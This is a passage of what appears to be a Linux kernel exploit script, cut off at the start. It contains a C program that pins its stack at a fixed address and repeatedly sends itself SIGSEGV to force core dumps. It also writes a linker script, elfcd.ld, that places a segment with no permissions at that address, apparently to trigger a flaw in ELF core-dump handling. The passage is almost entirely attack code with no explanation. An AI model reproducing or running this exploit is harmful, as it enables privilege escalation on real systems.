#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <syscall.h>

#include <sys/syscall.h>

#include <asm/page.h>

#define __NR_sys_read __NR_read

#define __NR_sys_kill __NR_kill

#define __NR_sys_getpid __NR_getpid

char stack[4096 * 6];

static int errno;

inline _syscall3(int, sys_read, int, a, void*, b, int, l);

inline _syscall2(int, sys_kill, int, c, int, a);

inline _syscall0(int, sys_getpid);

// yeah, lets do it

void killme()

{

char c='a';

int pid;

pid = sys_getpid();

for(;;) {

sys_read(0, &c, 1);

sys_kill(pid, 11);

}

}

// safe stack stub

__asm__(

" nop \n"

"_start: movl \$0xbfff6ffc, %esp \n"

" jmp killme \n"

".global _start \n"

);

__EOF__

cat <<__EOF__>elfcd.ld

OUTPUT_FORMAT("elf32-i386", "elf32-i386",

"elf32-i386")

OUTPUT_ARCH(i386)

ENTRY(_start)

SEARCH_DIR(/lib); SEARCH_DIR(/usr/lib); SEARCH_DIR(/usr/local/lib);

SEARCH_DIR(/usr/i486-suse-linux/lib);

MEMORY

{

ram (rwxali) : ORIGIN = 0xbfff0000, LENGTH = 0x8000

rom (x) : ORIGIN = 0xbfff8000, LENGTH = 0x10000

}

PHDRS

{

headers PT_PHDR PHDRS ;

text PT_LOAD FILEHDR PHDRS ;

fuckme PT_LOAD AT (0xbfff8000) FLAGS (0x00) ;

}

SECTIONS

{

.dupa 0xbfff8000 : AT (0xbfff8000) { LONG(0xdeadbeef); _bstart = . ; . += 0x7000; } >rom :fuckme

. = 0xbfff0000 + SIZEOF_HEADERS;

.text : { *(.text) } >ram :text

.data : { *(.data) } >ram :text

.bss :

{

*(.dynbss)

*(.bss)

*(.bss.*)

*(.gnu.linkonce.b.*)

*(COMMON)

. = ALIGN(32 / 8);

} >ram :text

}